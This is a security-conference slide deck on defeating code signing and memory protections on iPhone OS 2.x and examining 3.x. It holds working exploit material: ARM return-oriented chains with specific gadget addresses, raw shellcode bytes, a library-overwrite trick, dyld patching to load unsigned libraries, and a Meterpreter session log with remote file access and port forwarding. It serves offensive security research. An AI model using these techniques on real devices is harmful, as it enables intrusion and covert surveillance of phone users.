Post Exploitation Bliss: Meterpreter for iPhone

Charlie Miller
Independent Security Evaluators
cmiller@securityevaluators.com

Vincenzo Iozzo
Zynamics & Secure Network
vincenzo.iozzo@zynamics.com
Who we are

- Charlie
  - First to hack the iPhone, G1 Phone
  - Pwn2Own winner, 2008, 2009
  - Author: Mac Hackers Handbook
- Vincenzo
  - Student at Politecnico di Milano
  - Security Consultant at Secure Network srl
  - Reverse Engineer at Zynamics GmbH
Agenda

- iPhone 2 security architecture
- iPhone 2 memory protections
- Payloads
- Meterpreter
- iPhone 3 changes
- Current thoughts on iPhone 3 payloads
iPhone 2 Security Architecture
iPhones

- Jailbroken: various patches, can access FS, run unsigned code, etc
- Development: click “use for development” in Xcode. Adds some debugging tools
- Provisioned: Can run Apple code or from developer phone is provisioned for
- Factory phones: no modifications at all
- Warning: Testing only on first 3
Security Architecture Overview

- Reduced attack surface
- Stripped down OS
- Code signing
- Randomization (or lack thereof)
- Sandboxing
- Memory protections
iPhone 2 memory protections
iPhone 1 & 2

- Version 1: Heap was RWX, easy to run shellcode
- Version 2: No RWX pages
  - On Jailbroken can go from RW -> RX
  - Not on Development or Provisioned (or Factory) phones
- CSW talks assumed jailbroken
Some facts about code signing

- On `execve()` the kernel searches for a segment `LC_CODE_SIGNATURE` which contains the signature.
- If the signature is already present in the kernel it is validated using SHA-1 hashes and offsets.
- If the signature is not found it is validated and allocated, SHA-1 hashes are checked too.
- Hashes are calculated on the whole page, so we cannot write malicious code in the slack space.
What’s the effect of code signing?

- When a page is signed the kernel adds a flag to that page

```c
/* mark this vnode's VM object as having "signed pages" */
kr = memory_object_signed(uip->ui_control, TRUE);
```
What if a page is not signed?

- We can still map a page (following XN policy) with RX permissions.
- Whenever we try to access that page a SIGBUS is raised.
- If we try to change permissions of a page to enable execution (using mprotect or vm_protect), the call fails*.
Why breaking codesigning breaks memory protections

```c
#if CONFIG_EMBEDDED
if (cur_protection & VM_PROT_WRITE) {
    if (cur_protection & VM_PROT_EXECUTE) {
        printf("EMBEDDED: %s curprot cannot be write+execute. turning off execute\n", __PRETTY_FUNCTION__);
        cur_protection &= ~VM_PROT_EXECUTE;
    }
}

if (max_protection & VM_PROT_WRITE) {
    if (max_protection & VM_PROT_EXECUTE) {
        /* Right now all kinds of data segments are RWX. No point in logging that. */
        /* printf("EMBEDDED: %s maxprot cannot be write+execute. turning off execute\n", __PRETTY_FUNCTION__); */
        /* Try to take a hint from curprot. If curprot is not writable, *
         * make maxprot not writable. Otherwise make it not executable. *
         */
        if((cur_protection & VM_PROT_WRITE) == 0) {
            max_protection &= ~VM_PROT_WRITE;
        } else {
            max_protection &= ~VM_PROT_EXECUTE;
        }
    }
}
assert ((cur_protection | max_protection) == max_protection);
#endif /* CONFIG_EMBEDDED */
```
Thoughts about getting shellcode running

- Can’t write shellcode to RW and turn to RX
- Can’t allocate RX heap page (hoping to have data there)
- Can’t change a RX page to RW and back
- How the hell do debuggers set software breakpoints?
void (*f)();
unsigned int addy = 0x31414530;  // getchar()
unsigned int ssize = sizeof(shellcode3);
kern_return_t r;
r = vm_protect(mach_task_self(), (vm_address_t) addy, ssize, FALSE, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_COPY);
if(r==KERN_SUCCESS){
    printf("vm_protect is cool\n");
}
memcpy((unsigned int *) addy, shellcode3, sizeof(shellcode3));
f = (void (*)(())) addy;
f();

This does work!

So we can overwrite local copies of libraries with our shellcode and execute it
Payloads
How to run code?

- Can’t write and execute code from unsigned pages
- Can’t write to file and exec/dlopen
- However, nothing is randomized
- So we can use return-to-libc/return-oriented-programming
ARM basics

- 16 32-bit registers, r0-r15
  - r13 = sp, stack pointer
  - r14 = lr, link register - stores return address
  - r15 = pc, program counter
- RISC - few instructions, mostly uniform length
  - Placing a dword in a register usually requires more than 1 instruction
- Can switch to Thumb mode (2 or 4 byte instructions)
Function calls

- Instead of \{jmp, call\} you get \{b, bl, bx, blx\}
- b (branch) changes execution to offset from pc specified
- bl does same but sets lr to next instruction (ret address)
  - In particular, ret addy not on stack
- bx/blx similar except address is absolute
- pc is a general purpose register, i.e. mov pc, r1 works
- First 4 arguments passed in r0-r3, rest on the stack
Example, ARM

```assembly
; int sem_init(sem_t *, int, unsigned int)
EXPORT _sem_init
    _sem_init
    MOV    R12, 0x113       ; ___sem_init
    SVC    0x80
    BCC    locret_31419004

locret_31419004
    BX     LR
; End of function _sem_init
```
Example, Thumb

```
PUSH  {R7,LR}
ADD   R7, SP, #8+var_8
SUB   SP, SP, #0x18 ; void *
MOVS  R3, #1
STR   R3, [SP,#0x20+var_18]
MOVS  R3, #0B
STR   R3, [SP,#0x20+var_14]
MOVS  R3, #4
STR   R3, [SP,#0x20+var_C]
MOVS  R3, #0
STR   R3, [SP,#0x20+var_20]
STR   R3, [SP,#0x20+var_1C]
ADD   R0, SP, #0x20+var_18 ; int *
MOVS  R1, #2 ; u_int
ADD   R2, SP, #0x20+var_10 ; void *
ADD   R3, SP, #0x20+var_C ; size_t *
BLX   j_sysctl
ADDS  R0, #1
BNE   loc_314100F2
```

```
LDR   R0, [SP,#0x20+var_C]
ADD   SP, SP, #0x18
POP   {R7,PC}
; End of function _gethostid
```
Return-to-libc, x86

- Reuse executable code already in process
- Layout data near ESP such that arguments and return addresses are used from user supplied data
- This is a pain....
  - Typically, quickly try to call system() or a function to disable DEP (or mprotect)
ARM issues

- Function arguments passed in registers, not on stack
  - Must always find code to load stack values into registers
- Can’t “create” instructions by jumping to middle of existing instructions (unlike x86)
- Return address not always stored on stack
Payload: Beep and Vibrate

- The second ever iPhone payload - v 1.0.0
- Replicate what happens when a text message is received: vibrate and beep
- We want to have the following code executed

    AudioServicesPlaySystemSound(0x3ea);
    exit(0);
So I wrote this little program

```c
void foo(unsigned int *shellcode){
    char buf[8];
    memcpy(buf, shellcode, sizeof(int) * 25);
}
```

It’s stupid, but serves its purpose
Set r0-r3, PC

```
shellcode1a[0] = 0x11112222;
shellcode1a[1] = 0x33334444;
shellcode1a[2] = 0x12345566; // r7
shellcode1a[3] = 0x314e4bec; // PC
```

```
0x314e4bec: ldmia sp!, {r0, r1, r2, r3, pc}
```

All addresses for 2.2.1
Call AudioServicesPlaySystemSound

shellcode1a[4]=0x000003ea; // r0
shellcode1a[5]=0x00112233; // r1
shellcode1a[6]=0xdddddeeeec; // r2
shellcode1a[7]=0xffffffff0000; // r3
shellcode1a[8]=0x34945568; // PC

0x34945568 = AudioServicesPlaySystemSound + 4
0x34945564 <AudioServicesPlaySystemSound+0>: push {r4, r7, lr}
0x34945568 <AudioServicesPlaySystemSound+4>: addr7, sp, #4
0x3494556c <AudioServicesPlaySystemSound+8>: movr4, r0
0x34945570 <AudioServicesPlaySystemSound+12>: bl 0x349420f4
<AudioServicesGetPropertyInfo+404>
0x34945574 <AudioServicesPlaySystemSound+16>: cmp r0, #0 ; 0x0
0x34945578 <AudioServicesPlaySystemSound+20>: popeq {r4, r7, pc}
0x3494557c <AudioServicesPlaySystemSound+24>: bl 0x34943c98
<AudioServicesRemoveSystemSoundCompletion+1748>
0x34945580 <AudioServicesPlaySystemSound+28>: cmp r0, #0 ; 0x0
0x34945584 <AudioServicesPlaySystemSound+32>: popeq {r4, r7, pc}
0x34945588 <AudioServicesPlaySystemSound+36>: movr0, #1 ; 0x1
0x3494558c <AudioServicesPlaySystemSound+40>: bl 0x3494332c
<AudioServicesGetPropertyInfo+5068>
0x34945590 <AudioServicesPlaySystemSound+44>: subs r1, r0, #0
0x34945594 <AudioServicesPlaySystemSound+48>: popne {r4, r7, pc}
0x34945598 <AudioServicesPlaySystemSound+52>: movr0, r4
0x3494559c <AudioServicesPlaySystemSound+56>: movr2, r1
0x349455a0 <AudioServicesPlaySystemSound+60>: pop {r4, r7, lr}
0x349455a4 <AudioServicesPlaySystemSound+64>: b 0x34944a40
<AudioServicesRemoveSystemSoundCompletion+5244>
Progress

- By not jumping to the first instruction, lr is not pushed on the stack
- When lr is popped off the stack, it will pop a value we control
- We regain control and call exit at this point
Call _exit()

shellcode1a[9] = 0x11112222; // r4
shellcode1a[10] = 0x33324444; // r7
shellcode1a[11] = 0x31463018; // lr

should probably set something in r0...

Debugger stopped.
Program exited with status value: 0.
Demo!

iPhone 2.2.1
Not jailbroken
Development phone
(would work on 3.0 factory)
Payload: Arbitrary shellcode

- We craft return-to-libc for the following C code

```c
vm_protect( mach_task_self(), (vm_address_t) addy, size, FALSE, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_COPY);
memcpy(addy, shellcode, size);
addy()
```
char realshellcodestatic[] = "\x01\x00\xa0\xe3\x02\x10\xa0\xe3"
"\x03\x30\xa0\xe3\x04\x40\xa0\xe3"
"\x05\x50\xa0\xe3\x06\x60\xa0\xe3"
"\xf8\xff\xff\xea";

unsigned int *realshellcode = malloc(128 * sizeof(int));
memcpy(realshellcode, realshellcodestatic, sizeof(realshellcodestatic));

shellcode3a[0] = 0x11112222;
shellcode3a[1] = 0x33334444;
shellcode3a[2] = 0x12345566; // r7 
shellcode3a[3] = 0x314e4bec; // PC
Call protect()

shellcode3a[4]=0x31414530;  // r0 getchar()
shellcode3a[5]=0x00112233;  // r1
shellcode3a[6]=0x00000013;  // r2 VM_PROT_READ | VM_PROT_WRITE | VM_PROT_COPY
shellcode3a[7]=0x00000004;  // r3 Do
max_protection = FALSE
shellcode[8]=0x3145677c;  // PC protect() + 4

protect() calls vm_protect with mach_task_self() and size 0x1000

0x31456828 <protect+176>: pop {r4, r5, r6, r7, pc}
Load up for call to memcpy

shellcode3a[9] = 0x12345678; // r4
shellcode3a[10] = 0x23456789; // r5
shellcode3a[11] = 0x3456789a; // r6
shellcode3a[12] = 0x456789ab; // r7
shellcode3a[13] = 0x314e4bec; // PC
Call memmove

shellcode3a[14] = 0x31414530; // r0  getchar()
shellcode3a[15] = (unsigned int) realshellcode; // r1
shellcode3a[16] = sizeof(realshellcodestatic); // r2
shellcode3a[17] = 0xd3d4d3d3; // r3
shellcode3a[18] = 0x31408b7b; // PC

0x31408b7b <__memmove_chk+13>: blx0x314ee04c <dyld_stub_memmove>
0x31408b7f <__memmove_chk+17>: pop{r7, pc}
Call our shellcode

shellcode3a[19] = 0x33364444; // r7
shellcode3a[20] = 0x31414530; // PC
getchar()
Demo!

iPhone 2.2.1
Not jailbroken
Development phone
(would work on 2.2.1 provisioned)
Meterpreter
The next step

- We can run our shellcode now
- The shellcode could do anything you care to make it do
- Higher level payloads would be cooler
- If we could load an unsigned library, that would be nice!
- Since we’re already running, we can muck with the local copy of dyld, the dynamic loader (using the same trick we used to get our code running)
Mapping a library

- Map injected library upon an already mapped (signed) library
  - Each segment we vm_protect RW, write, then vm_protect to the expected permissions
- At this point library is mapped, but not linked
Linking

- On Mac OS X, there are lots of ways to do this
  - On iPhone they removed them all :(
  - Except from one used to load the main binary
- We just write the library to disk
- Call dlopen on it
- And patch dyld to ignore code signing
Loading from memory
So we’re done?

- Not really
- When the library is linked it searches for symbols in each linked library
- *each linked library* means even the one we have overwritten
One last patch

- Before overwriting the victim library we force `dlclose()` to unlink it
- To “force” means to ignore the garbage collector for libraries
- We need to be careful tough, some frameworks will crash if the are forced to be unloaded
It’s done
Patching results

- Once our code is running in a signed process we can load unsigned libraries
- These libraries can be written in C, C++, Obj-C, etc
- Can do fun things like DDOS, GPS, listening device etc
- Or...Meterpreter!
Meterpreter

- Originally an advanced Metasploit payload for Windows
- Bring along your own tools, don’t trust system tools
- Stealthier
  - instead of exec’ing /bin/sh and then /bin/ls, all code runs within the exploited process
  - Meterpreter doesn’t appear on disk
- Modular: Can upload modules which include additional functionality
- Better than a shell
  - Upload, download, and edit files on the fly
  - Redirect traffic to other hosts (pivoting)
Macterpreter

- A Mac OS X port of Meterpreter for Windows
- Porting from Mac OS X to iPhone is almost just a recompile

Differences

- Monolithic (loading dynamic libraries is hard)
- Runs in own thread (watchdog protection)
- Can’t exec other programs
#include <AudioToolbox/AudioServices.h>

/*
 * Vibrates and plays a sound
 */

DWORD request_fs_vibrate(Remote *remote, Packet *packet)
{
    Packet *response = packet_create_response(packet);
    DWORD result = ERROR_SUCCESS;

    AudioServicesPlaySystemSound(0x3ea);

    packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
    packet_transmit(remote, response, NULL);
    return ERROR_SUCCESS;
}
Code added to Metasploit

- Shellcode for bin_tcp
  - Has to do the “memory trick”
  - Involves calls to vm_protect, overwriting a loaded library, etc.
  - ~400 bytes

- Shellcode for inject_dylib
  - Has to write dylib to disk, patch dyld, dlopen file
  - ~4000 bytes
Demo!

iPhone 2.2.1
Not Jailbroken
Not Development
Using Ad-Hoc distribution
[*] Started bind handler
[*] Transmitting stage length value...(3884 bytes)
[*] Sending stage (3884 bytes)
[*] Sleeping before handling stage...
[*] Uploading Mach-O dylib (97036 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.25.149:36343 -> 192.168.1.12:4444)

meterpreter > use stdapi
Loading extension stdapi...success.
meterpreter > pwd
/
meterpreter > ls
Listing: /
==============
Mode    Size  Type  Last modified  Name
----    ----  ----  -------------  ----
41775/rwxrwxr-x  612   dir   Fri Jan 09 16:57:35 -0800 2009  ..
40700/rwx------  170   dir   Fri Jan 09 16:38:07 -0800 2009  .fseventsd
40775/rwxrwxr-x  782   dir   Fri Jan 09 16:38:33 -0800 2009  Applications
40775/rwxrwxr-x  680   dir   Fri Jan 09 16:38:59 -0800 2009  Library
...
meterpreter > ps
... 43  MobilePhone
     344  HelloWorld
meterpreter > vibrate
meterpreter > getpid
Current pid: 344
meterpreter > getuid
Server username: mobile
meterpreter > cat /var/mobile/.forward /dev/null
meterpreter > portfwd add -l 2222 -p 22 -r 192.168.1.182
[*] Local TCP relay created: 0.0.0.0:2222 <-> 192.168.1.182:22
meterpreter > exit
iPhone 3
The day: June 17, 2009
So can we do this on 3.x?
Does the “trick” work?

- Worked on jailbroken
- Worked on development phone
  - In fact, you could just go from RW->RX without the trick
  - Only worked when process was *actually being debugged*
  - Can trick it to work all the time if you call ptrace(0,0,0,0)
- Doesn’t work on provisioned (or presumably factory) phones :(  
  - Ad-hoc distribution requires “get-task-allow” set to false
  - Would still work on any binary with this entitlement
- They locked down the memory tighter, those bastards!
What’s the difference between the two?

iPhone 2.x
- `vm_protect()` PROT_COPY trick (“act like a debugger”)
- Apparently the kernel doesn’t care about “get-task-allow”
- dyld plays a key role

iPhone 3.x
- XD is not really enforced
- something cares about “get-task-allow” (can’t “act like a debugger”)
- `ptrace()` plays a key role

iPhone 2.x

- `vm_protect()` PROT_COPY trick (“act like a debugger”)
- Apparently the kernel doesn’t care about “get-task-allow”
- dyld plays a key role

iPhone 3.x
- XD is not really enforced
- something cares about “get-task-allow” (can’t “act like a debugger”)
- `ptrace()` plays a key role
Why?

2.x
if (m->cs_tainted)
{
    kr = KERN_SUCCESS;
    if (!cs_enforcement_disable) {
        if (cs_invalid_page((addr64_t) vaddr)) {

3.x
if (m->cs_tainted || (prot & VM_PROT_EXECUTE) && !m->cs_validated ))
{
    kr = KERN_SUCCESS;
    if (!cs_enforcement_disable) {
        if (cs_invalid_page((addr64_t) vaddr)) {
First things first

- If we use 2.x trick what happens is that the process is killed as soon as we try to execute anything on the page
Why ptrace() should help setting breakpoints?

- Whenever you call ptrace() with PT_TRACE_ME or PT_ATTACH cs_allow_invalid() is called.
- cs_allow_invalid() checks if it’s possible to disable code signing on the pages of a process.
- cs_allow_invalid() disables code signing on both the parent process and the child.
ptrace()
cs_allow_invalid()

- It verifies if a MAC policy denies disabling code signing
- It checks if cs_debug is set
- Eventually it disables process killing and enables VM_PROT_COPY flag on process pages
cs_allow_invalid()
ohwell..

CS_ALLOW_INVALID()

```c
proc->p_csflags & 0xffffffff;
```

CS_INVALID_PAGE()

```c
#define CS_VALID 0x0001 /* dynamically valid */
#define CS_HARD 0x0100 /* don't load invalid pages */
#define CS_KILL 0x0200 /* kill process if it becomes invalid */
```

/* CS_KILL triggers us to send a kill signal. Nothing else. */
```c
if (p->p_csflags & CS_KILL) {
    cs_procs_killed++;
    psignal(p, SIGKILL);
    proc_lock(p);
}
```

/* CS_HARD means fail the mapping operation so the process stays valid. */
```c
if (p->p_csflags & CS_HARD) {
    retval = 1;
} else {
    if (p->p_csflags & CS_VALID) {
        p->p_csflags &= ~CS_VALID;
        cs_procs_invalidated++;
    } else {
```
vmm_map_t *proc_map = get_task_map(proc->task);
proc_map->prot_copy_allow = 1;
A few words on MAC

- It’s a granular policy system for managing both kernel space and userspace entities.
- Policy are encapsulated in kernel modules.
- Amongst the other things it can hook system calls, modify memory management behavior.
How it works in our case

- MAC policies list is iterated and it retrieves a function pointer inside the policy structure
- The function it’s called and it performs its checks
- If *any* of the functions fails at granting the permission code signing is not disabled
The mysterious functions

- So far it appears that only AMFI (Apple Mobile File Integrity) kext registers a function.
- It checks if a process has one of the following entitlements:
  - get-task-allow
  - run-invalid-allow
  - run-unsigned-allow
A less “mysterious” look
When AMFI registers the MAC policy

- It appears that as soon as a process is created AMFI registers a MAC policy with information taken from seatbelt profile and entitlements.

- Some applications have built-in profiles in the kernel most notably:
  - MobileSafari
  - MobileMail
How does the story continue?
Join us and Dino at the workshop!
Questions?

- Contact us at cmiller@securityevaluators.com
  vincenzo.iozzo@zynamics.com